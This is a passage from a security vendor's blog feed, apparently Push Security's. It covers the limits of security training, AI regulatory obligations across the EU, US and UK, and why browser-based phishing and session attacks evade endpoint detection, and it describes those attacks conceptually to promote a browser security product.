how it&#39;s designed. </p><hr/><h1><b>Real-time intervention where attacks execute</b></h1><p>The browser is where every phishing attack, credential-harvesting attempt, and social engineering campaign ultimately executes — and where <b>89% of phishing domains are active for fewer than two days, </b><a href="https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security/">95% of attacks use bot protection to defeat automated scanners</a>, and traditional security architectures have a structural blind spot. </p><p>Network tools see encrypted traffic. Endpoint agents see processes and files. Email security sees messages in transit. None of them can intervene when a user is about to enter credentials into a fake login page.</p><p>Browser-based detection and response addresses both the prevention gap and the training gap simultaneously. As a technical control, Push <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">detects and blocks phishing pages behaviorally</a> — including AiTM kits, cloned login forms, device code phishing pages, and ClickFix malicious-copy-and-paste events — in real time, regardless of whether the domain is brand-new or the phishing page was delivered via email, social media, or a search ad. </p><p>Push stops the attack as it happens, in real time, before a compromise occurs.</p><p>As a contextual education mechanism, Push provides immediate, in-browser feedback when a user encounters a threat — explaining why access was blocked and creating teachable moments at the point of need rather than months before. Every blocked threat becomes a micro-learning opportunity, reinforcing pattern recognition through repetition in the context of the user&#39;s actual work. </p><p>Push&#39;s <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">in-browser controls</a> are designed to work this way — not by removing users from the security equation, but by making them informed participants. Warn screens with &quot;proceed anyway&quot; options, SSO login guidance, and MFA enforcement prompts respect user agency while providing real-time risk context. Our <a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">controls guide</a> covers how security teams can configure these guardrails to match their organizational culture and risk tolerance.</p><h2><b>Right-sizing security training</b></h2><p>Training&#39;s role must be right-sized. It builds culture, shared vocabulary, and explains why controls exist — but it cannot reliably serve as the primary preventive control against sophisticated attacks encountered months later under pressure. </p><p>The Purdue study&#39;s authors recommend that &quot;organizations should set realistic expectations about training outcomes and highlight the importance of technical controls rather than human-centered defenses.&quot; We agree.</p><p>Invest in technical controls where attacks execute — in the browser — to provide real-time prevention, detection, and education. Measure what matters: reduction in successful compromise, detection and response time, and employee reporting rates — not training completion. And stop expecting employees to reliably detect pixel-perfect attacks across every channel and workflow. </p><p><b>Overrelying on user vigilance isn&#39;t a legitimate security strategy: it&#39;s blame allocation.</b></p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo to learn more.</u></a></p>]]></content:encoded>
    </item>
    <item>
      <title>AI regulation is here: how browser visibility and control can achieve compliance</title>
      <link>https://pushsecurity.com/blog/browser-visibility-and-control-can-achieve-ai-compliance</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/browser-visibility-and-control-can-achieve-ai-compliance</guid>
      <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>John Creaton</dc:creator>
      <category>Risk management</category>
      <category>Browser security</category>
      <description>AI regulations across the US, EU, and UK are converging on obligations that most organizations can't meet without browser visibility into AI tool use.</description>
      <content:encoded><![CDATA[<h1><b>The AI regulatory landscape is moving fast</b></h1><p>The regulatory landscape around AI has shifted from theoretical to operational faster than most compliance teams expected. Several regulations are already in force, presenting not just a legal but also significant operational challenge to organizations covered by these regulations. </p><p><b>First, here&#39;s a summary of the key frameworks and what they require:</b></p><table><tr><td><p><b>Regulation</b></p></td><td><p><b>Jurisdiction</b></p></td><td><p><b>What it requires for AI</b></p></td><td><p><b>Status</b></p></td></tr><tr><td><p><a href="https://artificialintelligenceact.eu/"><b><u>EU AI Act</u></b></a></p></td><td><p>EU</p></td><td><p>AI system inventory and risk classification; <a href="https://artificialintelligenceact.eu/article/4/">AI literacy</a> for all staff; <a href="https://artificialintelligenceact.eu/article/15/">cybersecurity resilience</a> for high-risk AI; transparency and human oversight</p></td><td><p><a href="https://artificialintelligenceact.eu/article/4/"><u>Art. 4</u></a> (literacy) in force Feb 2025; high-risk obligations Aug 2026</p></td></tr><tr><td><p><a href="https://eur-lex.europa.eu/eli/reg/2022/2554/oj"><b><u>DORA</u></b></a></p></td><td><p>EU financial services</p></td><td><p>AI tools in ICT risk framework; AI providers in <a href="https://eur-lex.europa.eu/eli/reg/2022/2554/oj">third-party risk registers</a>; resilience testing covering AI-enhanced attacks</p></td><td><p>In force Jan 2025</p></td></tr><tr><td><p><a href="https://eur-lex.europa.eu/eli/reg/2024/2847/oj"><b><u>EU Cyber Resilience Act</u></b></a></p></td><td><p>EU digital products</p></td><td><p>AI-enabled software must meet essential cybersecurity requirements; vulnerability management and incident reporting</p></td><td><p>Reporting Sep 2026; full compliance Dec 2027</p></td></tr><tr><td><p><a href="https://www.dfs.ny.gov/industry_guidance/cybersecurity"><b><u>NYDFS 23 NYCRR 500</u></b></a></p></td><td><p>US (NY financial services)</p></td><td><p><a href="https://www.dfs.ny.gov/industry-guidance/industry-letters/il20241016-cyber-risks-ai-and-strategies-combat-related-risks"><u>AI-resistant MFA</u></a>; employee training on AI threats; <a href="https://www.dfs.ny.gov/industry-guidance/industry-letters/il20251021-guidance-managing-risks-third-party">third-party AI risk assessment</a>;<a href="https://www.dfs.ny.gov/industry-guidance/industry-letters/20260521-heightened-cybersecurity-risks-assoc-with-frontier-ai-models"> <u>frontier AI model defenses</u></a></p></td><td><p>Phased 2023–2025; AI-specific guidance issued <a href="https://www.dfs.ny.gov/industry-guidance/industry-letters/il20241016-cyber-risks-ai-and-strategies-combat-related-risks">Oct 2024</a>, <a href="https://www.dfs.ny.gov/industry-guidance/industry-letters/il20251021-guidance-managing-risks-third-party">Oct 2025</a>, <a href="https://www.dfs.ny.gov/industry-guidance/industry-letters/20260521-heightened-cybersecurity-risks-assoc-with-frontier-ai-models">May 2026</a></p></td></tr><tr><td><p><a href="https://www.ncsl.org/technology-and-communication/2025-state-privacy-legislation-tracker"><b><u>US State Privacy laws</u></b></a></p></td><td><p>US (20+ states)</p></td><td><p>Automated decision-making transparency, opt-out rights, and impact assessments; AI and children&#39;s data protections</p></td><td><p>Rolling 2024–2027 (CA, CO, CT leading)</p></td></tr><tr><td><p><a href="https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/index.html"><b><u>HIPAA Security Rule</u></b></a></p></td><td><p>US healthcare</p></td><td><p>AI tools in mandatory technology asset inventory; mandatory encryption covering AI; AI-enhanced attack preparedness</p></td><td><p><a href="https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/factsheet/index.html"><u>Final rule</u></a> expected 2026</p></td></tr><tr><td><p><a href="https://www.legislation.gov.uk/ukpga/2025/18"><b><u>UK Data (Use and Access) Act</u></b></a></p></td><td><p>UK</p></td><td><p>Reformed <a href="https://www.legislation.gov.uk/ukpga/2025/18/section/80">automated decision-making rules</a> (new Arts. 22A-22D UK GDPR): meaningful information about decisions, right to make representations, human intervention and contestation rights; stricter controls for special category data; new complaints-handling duty with 30-day response clock (from June 2026)</p></td><td><p>Main provisions Feb 2026; complaints duty June 2026</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3rfEWb5FXvXR07jdPdoht6/42f1c515e62fcc58aa0e270a424cfacc/ai_regulation_matrix_3x__4_.png" alt="ai regulation matrix"/><figcaption>Map of how different regulations map to AI control requirements.</figcaption></figure><p>Even if your organization isn&#39;t yet subject to these specific regulations, the direction of travel matters. The EU has a track record of setting global regulatory standards: GDPR reshaped data privacy practices worldwide, and the Digital Markets Act is influencing antitrust enforcement well beyond European borders.</p><p>The EU AI Act is the world&#39;s first comprehensive AI law, and the pattern of obligation categories it establishes is already visible in NYDFS guidance, US state privacy legislation, and the UK&#39;s reformed automated decision-making framework. Organizations that build the operational foundations to meet these obligations now will be ahead of whatever comes next, regardless of jurisdiction.</p><hr/><h1><b>Five obligation categories appear across frameworks</b></h1><p>Across these frameworks, the AI-specific obligations cluster into five categories. Individual regulations word them differently and scope them to different sectors, but the compliance actions they require are largely the same.</p><h2><b>1. AI inventory and classification</b></h2><p>You can&#39;t classify AI systems by risk level if you don&#39;t know which ones your employees are using. Multiple regulations now require organizations to maintain a complete inventory of AI tools in their environment — whether as part of risk classification, asset management, or third-party risk registers.</p><p>Most organizations are dealing with uncontrolled <a href="https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai/">Shadow AI sprawl</a>. We find that the average organization has 16 unique AI apps in active use, 17 unique AI browser extensions, and 17 unique AI OAuth integrations connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the lowest adoption level is actively using two. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7vCbQdyRkjLs5EmsjBBAQp/3bfb13e7ec19be76325cdc69297c48c3/ai-sprawl-infographic_2x__3_.png" alt="ai-sprawl-infographic"/><figcaption>AI sprawl is worse than most organizations realize.</figcaption></figure><h2><b>2. AI literacy and employee guidance</b></h2><p>Regulators increasingly expect organizations to demonstrate that employees understand the AI tools they use — not through annual training alone, but through continuous, contextual guidance at the point of interaction. Several frameworks now require auditable evidence that staff have been educated about AI risks and acceptable use policies. The common thread is the need for <b>ongoing</b> education, not as a one-off compliance exercise, but continuously at the point of interaction.</p><h2><b>3. AI data governance and exposure control</b></h2><p>Regulations are converging on the requirement for controls over what data enters AI tools. This includes sensitive personal data, health data, and data subject to automated decision-making. Organizations need to know where personal data is being processed by AI and have mechanisms to prevent unauthorized exposure.</p><h2><b>4. AI-resistant authentication and phishing defense</b></h2><p>AI is making phishing attacks more convincing and harder to detect through traditional means. Several frameworks now require authentication methods that can withstand AI-enhanced attacks, specifically naming phishing-resistant options like digital certificates and security keys over SMS or voice-based authentication. Beyond authentication, organizations need defenses against AI-powered phishing that bypasses the lure-quality signals users were trained to spot.</p><p>In the UK, <a href="https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2026/05/five-steps-to-protect-your-organisation-from-AI-powered-cyber-threats/"><u>the ICO&#39;s May 2026 blog</u></a> names AI-generated phishing, deepfake social engineering, and credential stuffing as specific threats organisations must address under UK GDPR Article 32. It calls for multi-factor authentication on all remote access, admin accounts, and email, alongside layered defences that assume foundational controls alone are insufficient against AI-powered attacks.</p><h2><b>5. Third-party AI risk and supply chain governance</b></h2><p>Employees adopt AI tools faster than procurement can track them, and each one that connects to corporate systems via OAuth creates a persistent trust relationship. Regulators now require organizations to know which third-party AI services they depend on, what permissions those services hold, and whether they introduce concentration risk. </p><p>In May 2026, <a href="https://www.cisa.gov/resources-tools/resources/careful-adoption-agentic-ai-services">CISA and Five Eyes partners published the first multinational guidance on agentic AI adoption</a>, identifying privilege escalation and accountability gaps as core risks — a signal that AI agent governance will soon move from best practice to regulatory expectation. </p><hr/><h1><b>How the regulations will be enforced</b></h1><p>The consequences extend well beyond fines. EU AI Act penalties reach <a href="https://artificialintelligenceact.eu/article/99/">€35 million or 7% of global turnover</a> for prohibited practices, but the operational impact may bite harder: non-compliant AI systems cannot be placed on the EU market, and providers bear direct responsibility for conformity under Articles 16 and 26 — meaning the CISO who signed off on an AI deployment that turns out to be non-compliant has personal exposure, not just a budget line item.</p><p>Italy&#39;s implementation law (<a href="https://www.nortonrosefulbright.com/en/knowledge/publications/9bfedfea/italy-enacts-law-no-132-2025-on-artificial-intelligence-sector-rules-and-next-steps"><u>Law No. 132/2025</u></a>) goes further, introducing criminal penalties including imprisonment for AI-related offenses like deepfake dissemination.</p><p>NYDFS penalties accumulate at $2,500 per day per violation, and the regulator has been aggressive: it levied <a href="https://pushsecurity.com/blog/what-the-expansion-of-nydfs-nycrr-part-500-means-for-mfa-compliance/">$14 million in fines</a> from companies with inadequate MFA. CISOs sign annual compliance certifications under §500.17 where false certification carries personal liability.</p><p>The UK&#39;s Data (Use and Access) Act preserves ICO enforcement powers with fines up to £17.5 million or 4% of global turnover, and introduces a new statutory right for individuals to complain directly to controllers about automated decisions, with a 30-day response clock.</p><hr/><h1><b>Where Push maps to these obligations</b></h1><p>The five obligation categories above map to specific Push capabilities, some directly, others as supporting evidence. Push&#39;s relevance to AI regulation isn&#39;t a new product direction. The same capabilities that security teams already use for shadow SaaS discovery, phishing defense, and identity posture hardening are what compliance teams need to demonstrate AI governance.</p><h2><b>AI inventory and shadow AI discovery.</b> </h2><p>Push identifies every AI app, AI browser extension, and AI OAuth integration in use across the organization, not from network traffic patterns or procurement records, but from actual observed usage in the browser.</p><h2><b>AI usage policy enforcement and literacy evidence.</b> </h2><p>Push&#39;s custom app banners deliver contextual policy guidance the moment an employee accesses an AI tool: linking to approved usage policies, data handling guidelines, or approved alternatives. Banners are fully customizable: they can include specific instructions, link to AI policy documents or approved alternatives, and messages from the security team tailored to the tool or user group. </p><p>When an employee clicks through or acknowledges the banner, Push generates auditable telemetry, creating a documented, timestamped record that the employee received policy guidance at the exact point of AI interaction (not just in a training session six months prior).</p><h2><b>AI data exposure controls.</b> </h2><p>Push observes what users type, paste, and upload into AI tools, and can apply real-time controls, warning or blocking when sensitive patterns are detected. This is browser-layer DLP scoped to the AI interaction surface: it won&#39;t replace a dedicated DLP platform, but it closes the specific gap that most DLP tools miss because they lack visibility into browser-based AI interactions. Push provides the detection and enforcement layer at the point where the data actually leaves the organization.</p><h2><b>MFA verification and phishing defense.</b> </h2><p>Push detects where MFA is missing and identifies the type of MFA in use, directly supporting the push toward phishing-resistant authentication methods.</p><p>Push&#39;s behavioral phishing detection stops AiTM phishing, credential harvesting, device code phishing, and ClickFix attacks because Push detects malicious behavior in the browser, making it effective against even AI-powered phishing attacks, or those that are delivered over traditionally unmonitored channels such as search engines, social media, or even via phone call.</p><p>Attackers are <a href="https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/">increasingly leveraging AI in their phishing campaigns</a>, creating new and derivative phishing kits, adding new capabilities, and finding ways to increase the speed and scale of their operations. But Push&#39;s vantage point in the browser means that regardless of the tooling or infrastructure used, Push intercepts the attack at the point of interaction. </p><p>This even applies to AI-powered voice and video faking attacks: since <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/">most voice-based attacks still result in a user being directed to interact with a browser payload</a>, Push can still intercept them at the point that the caller is lured to a malicious web page or resource.</p><h2><b>Third-party AI risk visibility.</b> </h2><p>Push maps exactly which AI services employees have accessed and used, connected to other business apps via OAuth, what permissions those integrations hold, and who authorized them. This surfaces the AI providers that procurement never approved but employees adopted anyway, before they become a compliance finding or a breach vector.</p><hr/><h1><b>The compliance gap is an observability gap</b></h1><p>The common failure mode across all five obligation categories is the same: the organization has a policy but can&#39;t demonstrate enforcement, because the tooling that would provide evidence operates at the wrong layer. IdP logs show managed authentication but not shadow AI logins. Network tools see traffic to AI domains but not the OAuth consent grants or the data in the clipboard. Annual training records exist but can&#39;t prove that an employee received guidance at the point of AI interaction.</p><p>Browser-layer telemetry closes each of these gaps because it&#39;s where the regulated activity actually happens, and where (with Push) you can observe and control it too.</p><p>The regulations covered here are the current landscape, but they aren&#39;t the final one. AI governance requirements are accelerating: NIST&#39;s AI cybersecurity framework profile is expected this summer, CISA&#39;s Five Eyes agentic AI guidance landed in May, and EU member states are still building out their national enforcement regimes.</p><p>The five obligation categories we&#39;ve identified aren&#39;t artifacts of any single regulation; they reflect a durable regulatory consensus about what responsible AI governance requires. Building the operational capability to meet them now — continuous AI inventory, demonstrable employee guidance, data exposure controls, phishing-resistant authentication, and third-party risk visibility — means you&#39;re prepared for future frameworks.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo"><u>Book a live demo to learn more.</u></a></p>]]></content:encoded>
    </item>
    <item>
      <title>Your EDR is working exactly as intended. Attackers are getting around it anyway.</title>
      <link>https://pushsecurity.com/blog/why-modern-browser-attacks-evade-edr</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/why-modern-browser-attacks-evade-edr</guid>
      <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Peyton Padfield</dc:creator>
      <category>Browser-based attacks</category>
      <category>Browser security</category>
      <description>This article explains the gap between what EDR sees and what happens inside the browser, and what it takes to close it.</description>
      <content:encoded><![CDATA[<h1><b>Why endpoint security has a blind spot in the browser </b></h1><p>Modern EDR makes compromising the OS hard. Process execution, memory behavior, file system changes: all of it under real-time scrutiny from an agent that never sleeps. Getting in through the endpoint is expensive, noisy, and increasingly not worth the effort.</p><p>So attackers expanded their focus. </p><p>The browser is the logical target. It&#39;s where work happens now. Authentication, data access, application administration, sensitive file handling — all of it inside a browser tab, with no real security instrumentation, no behavioral detection, and no one paying attention. </p><p>The endpoint got Falcon, Defender, Singularity, Cortex, etc. The browser didn&#39;t. And the economics made the choice obvious: a PhaaS kit that proxies credentials and steals session tokens costs about $1k a year, a credential list off a dark web marketplace runs $15, and an admin-level account from an initial access broker goes for a few thousand dollars. None of those require getting past an endpoint agent.</p><p>We&#39;ve written before about <a href="https://pushsecurity.com/blog/push-plus-endpoint-security"><u>how Push and endpoint security fit together</u></a> and how the two layers complement each other. This post goes further into why succeeding at securing the endpoint isn&#39;t enough on its own, and why the gap between what EDR sees and what actually happens in the browser is exactly where attackers have built their playbook.</p><p><a href="https://www.crowdstrike.com/explore/2026-global-threat-report"><u>82% of attack detections are now malware-free</u></a>, according to CrowdStrike&#39;s 2026 Global Threat Report, and that&#39;s not because attackers got more sophisticated. If anything, the barrier to entry is considerably lower now. It&#39;s because they got smarter about where to target their efforts.</p><hr/><h1><b>What EDR actually sees</b></h1><p>Before behavioral detection, defense meant chasing known-bad indicators: a malicious hash was identified, it got blocked, the attacker changed the hash, and the cycle repeated indefinitely. EDR broke that dynamic by running an agent inside the operating system and watching what actually happened on the host — process execution, file system changes, memory behavior, registry modifications.</p><p>The <a href="https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/">Pyramid of Pain</a> explains why this worked. Tools and indicators at the bottom of the pyramid are trivially easy for attackers to rotate, while behavioral TTPs at the top are expensive to change. EDR moved detection up the pyramid, which is why fileless attacks, living-off-the-land techniques, and lateral movement started getting caught. It&#39;s also why attackers shifted their focus away from the OS.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2KJMvUn55yStIIB5jIcy0n/c64a1d128567ed1189821b8160f81fe7/image6.png" alt="Pyramid of Pain for internet-based attacks"/><figcaption>The Pyramid of Pain reworked for internet-based attacks.</figcaption></figure><p>All of that visibility ends at the browser boundary. From the EDR agent&#39;s perspective, Chrome is a well-behaved process. It opens, connects to the internet, does browser things. The agent can see the process, but it can&#39;t see which tab is open, what the page is rendering, what scripts are executing, or whether the login form the user just submitted was real or a convincing <a href="https://pushsecurity.com/blog/2025-top-phishing-trends/">cloned page</a>. It doesn&#39;t know whether the session token that just got issued is about to leave the organization.</p><p>For browser-based attacks, EDR registers nothing unusual, because nothing unusual happened at the OS layer. EDR worked — but the attackers worked around it.</p><hr/><h1><b>The attack surface has moved beyond the endpoint</b></h1><p>Attackers didn&#39;t stumble into the browser. They moved there deliberately, and the tooling reflects it.</p><p>The numbers tell the story. PhaaS-driven account compromise surged 389% year-over-year according to eSentire. Fake CAPTCHA lures used in ClickFix attacks increased 563% in 2025, according to CrowdStrike, and ClickFix is now the most common initial access vector observed by Microsoft, accounting for 47% of attacks. </p><p>We see it too; in a single 30-day proof-of-value deployment at a financial services organization, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to the existing security stack.</p><p>These aren&#39;t niche techniques. They&#39;re the dominant playbook, and none of them need to touch the endpoint to succeed, or for an attacker to achieve their goals.</p><h2><b>AiTM phishing</b></h2><p><a href="https://pushsecurity.com/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks">AiTM phishing kits</a> render a convincing login page inside the browser, proxy the authentication in real time, and lift the session token as it passes through. The user completes what feels like a normal login; the attacker gets a valid session. The OS saw a browser connecting to a website.</p><h2><b>Session hijacking</b></h2><p><a href="https://pushsecurity.com/solution/stop-browser-based-attacks/session-hijacking">Session hijacking</a> skips authentication entirely by targeting an existing session. By stealing and replaying a token acquired by an infostealer, or a malicious browser extension, they can import the session into their own browser and continue using it — there&#39;s no password prompt, no MFA challenge, no re-authentication. The session blends into normal browser activity and generates nothing an endpoint agent was built to catch.</p><h2><b>Device code phishing</b></h2><p><a href="https://pushsecurity.com/blog/device-code-phishing/">Device code phishing</a> is harder to spot, because the user authenticates on a legitimate identity provider page. The attacker initiates a device authorization flow and tricks the user into entering a code on the real Microsoft (or Google or GitHub) login page. The IdP issues a valid token. The phishing happened before the authentication page even loaded, and the session token goes straight to the attacker. Push has documented a 37x increase in device code phishing attacks this year, with 12+ unique kits now offering the technique.</p><h2><b>ClickFix</b></h2><p><a href="https://pushsecurity.com/solution/stop-browser-based-attacks/clickfix-fix-variants">ClickFix</a> takes a different approach: the lure tricks the user into copying a malicious payload to their clipboard and running it themselves, framed as a verification step or a fix for a page that won&#39;t load. It&#39;s social engineering dressed up as a CAPTCHA. Unlike the attacks above, ClickFix is a hybrid — the delivery and lure happen in the browser, but the payload executes on the endpoint. That split is important when we get to how the detection layers divide.</p><p>The attacks look different on the surface, but the design principle is the same: stay out of the OS, stay inside the browser, and stay invisible to every tool that&#39;s watching the endpoint.</p><p>Once access to an app is established via a compromised identity, attackers can also achieve their goals without touching the endpoint. Most of the time, this involves data theft and extortion, but adversaries like <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/">ShinyHunters</a> and <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Spider</a> are also experts in cloud-based disruption and destruction techniques — with no ransomware binary dropped to user endpoints for an EDR agent to intercept. </p><hr/><h1><b>The EDR you&#39;re using doesn&#39;t change the result</b></h1><p>The constraint isn&#39;t vendor-specific. Every EDR&#39;s observation model stops at the OS layer because that&#39;s where the agent sits. What happens inside a browser session is outside that model by design. A better EDR doesn&#39;t close the gap; a different layer does.</p><h2><b>Reputation-based filtering falls short too</b></h2><p>Some platforms add URL filtering or domain reputation checks at the browser boundary, and that narrows the surface somewhat. But reputation-based filtering hits the same wall against PhaaS infrastructure engineered to rotate domains before reputation databases catch up. <a href="https://www.spamhaus.com/resource-center/supporting-researchers-with-passive-dns/">89% of phishing domains are active for fewer than two days</a>. A reputation engine can&#39;t flag infrastructure it hasn&#39;t seen, and <a href="https://pushsecurity.com/blog/phishing-detection-evasion-launch/">modern phishing operations</a> are designed around that window.</p><h2><b>Some vendors recognize the problem</b></h2><p>The market has started to acknowledge this. CrowdStrike&#39;s acquisition of Seraphic is a direct signal that endpoint vendors see the browser gap and want to close it, and it validates what we&#39;ve been building here at Push since day one. That&#39;s a good thing for defenders — the more coverage at this layer, the better.</p><p>But endpoint vendors see the world through the endpoint. Their platforms, their telemetry models, and their detection logic are all structured around what happens at the OS layer. When they acquire browser capability, it gets pulled into that orbit. Seraphic was built to detect browser exploits by injecting into the browser&#39;s JavaScript runtime from the OS. </p><h2><b>Attacks in vs. on the browser: why this distinction matters</b></h2><p>In other words, <a href="https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/">their focus is on attacks on the browser itself</a>, rather than those happening <i>inside</i> the browser session. That&#39;s a meaningful capability, but it&#39;s a different problem from detecting the identity attacks that dominate the threat landscape today — AiTM phishing, session hijacking, OAuth consent abuse, ClickFix — where the attacker never triggers an exploit and the browser works exactly as designed. We&#39;ve written in detail aboutwhy that <a href="https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/"><u>architectural distinction matters</u></a> for buyers evaluating the category.</p><p>Push was built for the browser from the start, for exactly these attacks. The detection engine runs inside the session. The response actions operate at the session layer, blocking phishing pages, intercepting malicious clipboard payloads, and warning on suspicious OAuth consent grants, because that&#39;s where the attack is happening. <b>That&#39;s not a philosophical matter. It determines what you can catch and how fast you can stop it.</b></p><hr/><h1><b>What browser-native detection actually looks like</b></h1><p>Network tools and reputation engines see where a user went and whether the destination had a known-bad reputation. What they can&#39;t see is what happened on the page once the user got there — whether the login form was real or a proxied clone, whether a session token was issued and where it went next.</p><h2><b>Why network-layer detection can&#39;t keep up</b></h2><p>At the network layer, a brand-new domain hosting a pixel-perfect Microsoft login page is indistinguishable from the real thing. There&#39;s no signal to act on — the domain is in good standing, the TLS cert is valid, and the traffic looks normal.</p><p>But it&#39;s not as simple as looking at the page itself. The phishing pages attackers are building now don&#39;t look like the clone-and-paste jobs of a few years ago. Attackers are vibe-coding imitations where the AI has constructed the page from scratch — visually identical to the real login page, but with a completely different underlying structure. They look the same to the user and to any tool doing a surface-level comparison. You need to understand how credential-harvesting mechanics actually work, how authentication relay is structured, and what behavioral fingerprints phishing kits leave behind regardless of how the page was built.</p><h2><b>How Push detects what others miss</b></h2><p>That&#39;s where Push&#39;s visibility and expertise intersect. Running inside the browser, Push sees DOM structure, script behavior, how credential forms are constructed, and how authentication is being relayed. Phishing attacks leave consistent behavioral fingerprints at this level regardless of what domain they&#39;re hosted on, which kit family they belong to, or whether the page was hand-coded or vibe-coded in minutes. Push catches attacks built on infrastructure that&#39;s never appeared on any blocklist, because it isn&#39;t looking at the infrastructure. It&#39;s looking at what the page is doing.</p><h2><b>Where the detection layers divide</b></h2><p>ClickFix illustrates how the layers split. Push identifies the page behavior delivering the lure and analyzes the clipboard payload before the user runs it — two detection points, both inside the browser, both before anything reaches the endpoint. EDR&#39;s window opens after execution. Push and EDR are watching the same attack from opposite ends of the kill chain.</p><h2><b>Keeping pace with AI-accelerated attacks</b></h2><p>That detection model has to keep pace with an attack surface that&#39;s evolving at machine speed. Attackers are using AI to vibe-code phishing kits, generate convincing cloned pages, and rotate infrastructure faster than any human team can track.</p><p>Push matches that pace with an <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/">agentic threat hunting pipeline</a>: autonomous agents hunt continuously across browser telemetry from over <b>3 million browsers worldwide</b>, develop hypotheses, analyze traces, and write detection rules without waiting for human initiation. Push&#39;s in-house threat researchers feed the agents the context they need — years of accumulated knowledge about how browser-based attacks actually work. The agents operationalize that expertise at a scale and speed no human team could sustain alone.</p><p>Since deploying the pipeline, we&#39;ve 3x&#39;ed our detection output (but with <a href="https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/">broad technique-level detections, not just IoC noise</a>). New detections move from discovery to customer protection in minutes rather than the days or weeks a manual process required.</p><hr/><h1><b>Two layers that fit together</b></h1><p>Browser detection and endpoint detection cover different surfaces. Together they close the gap.</p><h2><b>Response at the speed of the attack</b></h2><p>Push doesn&#39;t just detect — the detection comes with response built in. Phishing pages are blocked before credentials are submitted. Malicious clipboard payloads are intercepted before the user can run them. Suspicious OAuth consent grants are flagged or blocked in real time, before the authorization completes. These aren&#39;t after-the-fact alerts that require an analyst to act; they&#39;re inline controls that operate at the speed of the attack.</p><p>For purely browser-based attacks like AiTM phishing, device code phishing, and OAuth consent abuse, Push is both the detection and the response layer. For ClickFix, the coverage divides: Push catches the delivery and the clipboard payload, and if the user runs it and something lands on the OS, EDR picks up what happens next.</p><h2><b>The telemetry bridge</b></h2><p>The integration with endpoint tooling is straightforward. Push feeds browser telemetry into the same SIEM and XDR workflows endpoint data already flows into.</p><p>EDR tells you what happened on the host. Push tells you what happened in the session before the host was involved — which login page loaded, how it behaved, whether a session token left the organization. That&#39;s the causal link most investigation timelines are missing: the bridge between &quot;a user visited a URL&quot; and &quot;credentials were submitted to a phishing page that proxied authentication and captured the session token.&quot;</p><p>Without browser-layer telemetry, that chain of events is invisible — the EDR sees normal endpoint processes and the SIEM sees a successful login. An alert from either layer is more useful with context from the other, and the range of problems you can solve from inside the browser extends well beyond threat detection.</p><h2><b>Deployment without disruption</b></h2><p>Operationally, adding the browser layer doesn&#39;t mean adding complexity. Push deploys as a browser extension — no network changes, no TLS inspection, no browser replacement, and no impact on page load times or browsing performance.</p><p>Unlike approaches that route traffic through a proxy or render pages remotely, Push operates natively inside the browser session, which means there&#39;s no latency penalty and no disruption to how employees work. </p><p>Push has been deployed to 100,000 users in under an hour during normal business hours with zero downtime, and it sits alongside whatever endpoint and network tooling is already in place.</p><hr/><h1><b>A quick check on your coverage</b></h1><p>If you&#39;re running EDR and assume the browser is covered, these are worth thinking through. </p><ul><li><p>Can you identify which browser extensions across your fleet have the <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/">permissions needed for account takeover</a>? </p></li><li><p>Would anything stop a <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/">ClickFix payload</a> before your user ran it? </p></li><li><p>Do you have visibility into every account your employees have created outside of SSO, and whether those accounts are protected by MFA or using weak, breached, or reused passwords? </p></li><li><p>When a session token gets stolen, do you have any signal when the attacker starts using it?</p></li></ul><p><b>Push surfaces answers to all of them — across every browser session.</b></p><p>Defenders secured the endpoint. Attackers took note, and they&#39;ve had the browser to themselves ever since. The attacker tooling that followed was built for an environment where the endpoint is watched and the session layer isn&#39;t. That&#39;s been a reasonable assumption for the better part of a decade. Endpoint vendors are starting to move toward the browser, but there&#39;s a case for <a 